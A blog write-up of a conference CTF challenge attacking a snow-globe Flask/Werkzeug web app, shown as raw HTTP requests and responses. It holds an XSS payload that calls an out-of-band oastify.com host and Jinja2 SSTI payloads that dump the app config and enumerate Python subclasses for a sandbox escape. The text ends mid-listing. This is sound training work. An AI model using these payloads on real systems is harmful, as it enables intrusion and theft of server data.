Snowglobes
I really need to get on CTFs and training more often but, honestly, life has been shafting me harder than a polearm right now. In fact it’s been shafting me so hard I planned to release this blog post way back in April but shit happened. Oh well, you’re getting it now so there.
However, I finally managed to get one done for the securi-tay conference back in February and honestly found it to be a blast.
So here it is, the writeup for the Snowglobes CTF challenge.
Recon
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Nmap scan report for 10.82.144.142
Host is up (0.0078s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Werkzeug/3.0.1 Python/3.8.10
|_http-server-header: Werkzeug/3.0.1 Python/3.8.10
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.1 Python/3.8.10
| Date: Wed, 25 Feb 2026 17:09:51 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 3364
| Connection: close
| <!DOCTYPE html>
| <html>
| <head>
| <title>Winter Wonderland Snow Globe Shop</title>
| <style>
| body {
| font-family: 'Georgia', serif;
| background: linear-gradient(to bottom, #1e3a5f 0%, #2d5a7b 100%);
| margin: 0;
| padding: 0;
| min-height: 100vh;
| display: flex;
| justify-content: center;
| align-items: center;
| .container {
| background: white;
| padding: 40px;
| border-radius: 15px;
| box-shadow: 0 10px 40px rgba(0,0,0,0.3);
| max-width: 500px;
| text-align: center;
| color: #2d5a7b;
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.1 Python/3.8.10
| Date: Wed, 25 Feb 2026 17:09:51 GMT
| Content-Type: text/html; charset=utf-8
| Allow: OPTIONS, HEAD, GET
| Content-Length: 0
|_ Connection: close
(...)
Nothing much to speak of here but it did have a nice web server open. We can also see it’s Werkzeug, which some keen eyed pentesters may have already flashed back the various ways you can abuse this web server. Let’s have a look at it:
Testing Sanitisation of User Input
Christmas themed in February, each to their own I guess. If we enter something in the text box, e.g. Happy Holidays it gets reflected in the globe. Cute!
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POST /create HTTP/1.1
Host: 10.82.144.142
Content-Length: 24
Cache-Control: max-age=0
Accept-Language: en-GB,en;q=0.9
Origin: http://10.82.144.142
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.82.144.142/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
engraving=Happy+Holidays
How about an XSS payload?
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POST /create HTTP/1.1
Host: 10.82.144.142
Content-Length: 122
Cache-Control: max-age=0
Accept-Language: en-GB,en;q=0.9
Origin: http://10.82.144.142
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.82.144.142/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
engraving=%3Cscript%3Efetch%28%22https%3A%2F%2Fgqasrij9oq78zvg856y6pptp6gc70xom.oastify.com%3Fxsstest%22%29%3C%2Fscript%3E
Yep that works:
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HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.8.10
Date: Wed, 25 Feb 2026 17:18:27 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 4370
Connection: close
<!DOCTYPE html>
<html>
<head>
<title>Your Snow Globe</title>
<style>
(...)
</style>
</head>
<body>
<div class="snow-globe">
<div class="globe">
<div class="snow">
<div class="snowflake" style="left: 10%; animation-duration: 3s; animation-delay: 0s;">❄</div>
<div class="snowflake" style="left: 30%; animation-duration: 4s; animation-delay: 1s;">❄</div>
<div class="snowflake" style="left: 50%; animation-duration: 3.5s; animation-delay: 0.5s;">❄</div>
<div class="snowflake" style="left: 70%; animation-duration: 4.5s; animation-delay: 1.5s;">❄</div>
<div class="snowflake" style="left: 90%; animation-duration: 3.8s; animation-delay: 0.8s;">❄</div>
<div class="snowflake" style="left: 20%; animation-duration: 4.2s; animation-delay: 2s;">❄</div>
<div class="snowflake" style="left: 60%; animation-duration: 3.3s; animation-delay: 1.2s;">❄</div>
<div class="snowflake" style="left: 80%; animation-duration: 4.8s; animation-delay: 0.3s;">❄</div>
</div>
<div class="content">⛄</div>
</div>
<div class="base">
<div class="nameplate"><script>fetch("https://gqasrij9oq78zvg856y6pptp6gc70xom.oastify.com?xsstest")</script></div>
</div>
</div>
<a href="/" class="back-button">Create Another Snow Globe</a>
</body>
</html>
However, I didn’t think this was the key bug. The goal was to get the flag, presumably stored on the web server, and no authentication functionality or way to share a snow globe with a XSS payload was present. So there wasn’t anyway to get an admin user to trigger it and there weren’t any other relevant pages on the server.
OK, how about Server-Side Template Injection (SSTI)?
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POST /create HTTP/1.1
Host: 10.80.179.198
Content-Length: 27
Pragma: no-cache
Cache-Control: no-cache
Accept-Language: en-GB,en;q=0.9
Origin: http://10.80.179.198
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.80.179.198/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
engraving=%7B%7B+7*7+%7D%7D
uwu what’s this. While I had done some SSTI in the past against other web server types, I hadn’t yet looked at Werkzeug & Jinja. Learning time :)
SSTI Against a Python Web Server
Addition and subtraction is all well and good but we need a way to actually get useful data out of the server. Source code, environment variables, etc will all be potential targets for us.
So we know this a Python server, so the likely template engine is Jinja2. Luckily for us, one of my favourite websites for hacking references has a whole page dedicated to fucking around with it.
Let’s first try a really simple payload to dump the general configuration of the web server. This includes environment variables so who knows, maybe the flag is here somewhere:
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POST /create HTTP/1.1
Host: 10.80.179.198
Content-Length: 46
Cache-Control: max-age=0
Accept-Language: en-GB,en;q=0.9
Origin: http://10.82.144.142
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.82.144.142/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
engraving=%7b%7b%20%63%6f%6e%66%69%67%20%7d%7d
We’re URL encoding `` here to ensure nothing gets messed up during decoding. And what do you know, juicy configuration details!
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HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.8.10
Date: Wed, 18 Mar 2026 16:30:23 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 5201
Connection: close
<!DOCTYPE html>
<html>
(...)
<div class="base">
<div class="nameplate"><Config {'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}></div>
(...)
SECRET_KEY is null, boooooo! And try as I might, I couldn’t get access to the debug console for Werkzeug using a payload of __import__('os').popen('whoami').read(); either.
Guess the flag is not here then.
Escaping the Sandbox
Now, Jinja is nice in that it provides a sandboxed environment for the web server to run in with everything that it needs. So we need to find a way to execute regular python code and begin to enumerate the host’s file system or, potentially, trigger remote code execution and gain access to the host itself.
To kick us off, lets see what classes we have access to in the existing sandbox. A payload such as `` should give us a list of them to play with, maybe one of them we can use to break out?
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POST /create HTTP/1.1
Host: 10.80.179.198
Content-Length: 118
Cache-Control: max-age=0
Accept-Language: en-GB,en;q=0.9
Origin: http://10.82.144.142
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.82.144.142/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
engraving=%7b%7b%20%64%69%63%74%2e%5f%5f%62%61%73%65%5f%5f%2e%5f%5f%73%75%62%63%6c%61%73%73%65%73%5f%5f%28%29%20%7d%7d
Dear neptune there is a lot!
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HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.8.10
Date: Wed, 18 Mar 2026 16:39:42 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 26039
Connection: close
(...)
<div class="base">
<div class="nameplate">[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class '__future__._Feature'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'typing._Final'>, <class 'typing._Immutable'>, <class 'typing.Generic'>, <class 'typing._TypingEmpty'>, <class 'typing._TypingEllipsis'>, <class 'typing.NamedTuple'>, <class 'typing.io'>, <class 'typing.re'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class '_socket.socket'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver._NoThreads'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'datetime.date'>, <class 'datetime.timedelta'>, <class 'datetime.time'>, <class 'datetime.tzinfo'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class '_random.Random'>, <class 'ipaddress._IPAddressBase'>, <class 'ipaddress._BaseV4'>, <class 'ipaddress._IPv4Constants'>, <class 'ipaddress._BaseV6'>, <class 'ipaddress._IPv6Constants'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'Struct'>, <class 'unpack_iterator'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'mimetypes.MimeTypes'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class 'tokenize.Untokenizer'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>, <class '_ast.AST'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.datastructures.mixins.ImmutableListMixin'>, <class 'werkzeug.datastructures.mixins.ImmutableDictMixin'>, <class 'werkzeug.datastructures.mixins.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.structures._omd_bucket'>, <class '_hashlib.HASH'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class '_sha3.sha3_224'>, <class '_sha3.sha3_256'>, <class '_sha3.sha3_384'>, <class '_sha3.sha3_512'>, <class '_sha3.shake_128'>, <class '_sha3.shake_256'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'werkzeug.datastructures.auth.Authorization'>, <class 'werkzeug.datastructures.auth.WWWAuthenticate'>, <class 'werkzeug.datastructures.file_storage.FileStorage'>, <class 'werkzeug.datastructures.headers.Headers'>, <class 'werkzeug.datastructures.range.IfRange'>, <class 'werkzeug.datastructures.range.Range'>, <class 'werkzeug.datastructures.range.ContentRange'>, <class 'dis.Bytecode'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'werkzeug.sansio.multipart.Event'>, <class 'werkzeug.sansio.multipart.MultipartDecoder'>, <class 'werkzeug.sansio.multipart.MultipartEncoder'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'hmac.HMAC'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.user_agent.UserAgent'>, <class 'werkzeug.sansio.request.Request'>, <class 'werkzeug.sansio.response.Response'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'werkzeug.test.Cookie'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local._ProxyLookup'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'uuid.UUID'>, <class 'flask.json.provider.JSONProvider'>, <class 'gettext.NullTranslations'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.types.ParamType'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'werkzeug.routing.converters.BaseConverter'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'ast.NodeVisitor'>, <class 'werkzeug.routing.rules.RulePart'>, <class 'werkzeug.routing.rules.RuleFactory'>, <class 'werkzeug.routing.rules.RuleTemplate'>, <class 'werkzeug.routing.matcher.State'>, <class 'werkzeug.routing.matcher.StateMachineMatcher'>, <class 'werkzeug.routing.map.Map'>, <class 'werkzeug.routing.map.MapAdapter'>, <class '_csv.Dialect'>, <class '_csv.reader'>, <class '_csv.writer'>, <class 'csv.Dialect'>, <class 'csv.DictReader'>, <class 'csv.DictWriter'>, <class 'csv.Sniffer'>, <class 'pathlib._Flavour'>, <class 'pathlib._Accessor'>, <class 'pathlib._Selector'>, <class 'pathlib._TerminatingSelector'>, <class 'pathlib.PurePath'>, <class 'zipfile.ZipInfo'>, <class 'zipfile.LZMACompressor'>, <class 'zipfile.LZMADecompressor'>, <class 'zipfile._SharedFile'>, <class 'zipfile._Tellable'>, <class 'zipfile.ZipFile'>, <class 'zipfile.Path'>, <class 'configparser.Interpolation'>, <class 'importlib.metadata.FileHash'>, <class 'importlib.metadata.Distribution'>, <class 'importlib.metadata.DistributionFinder.Context'>, <class 'importlib.metadata.FastPath'>, <class 'importlib.metadata.Prepared'>, <class 'blinker._utilities.Symbol'>, <class 'blinker.base.Signal'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.config.ConfigAttribute'>, <class '_pickle.Unpickler'>, <class '_pickle.Pickler'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.utils._MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'flask.sansio.scaffold.Scaffold'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous._json._CompactJSON'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'flask.sansio.blueprints.BlueprintSetupState'>, <class 'unicodedata.UCD'>]</div>
I hope you read all that, because it will be in the test later :) But wait! This is basically a python array, just not decoded. If we do this manually, we can see it take shape:
1
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class '__future__._Feature'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 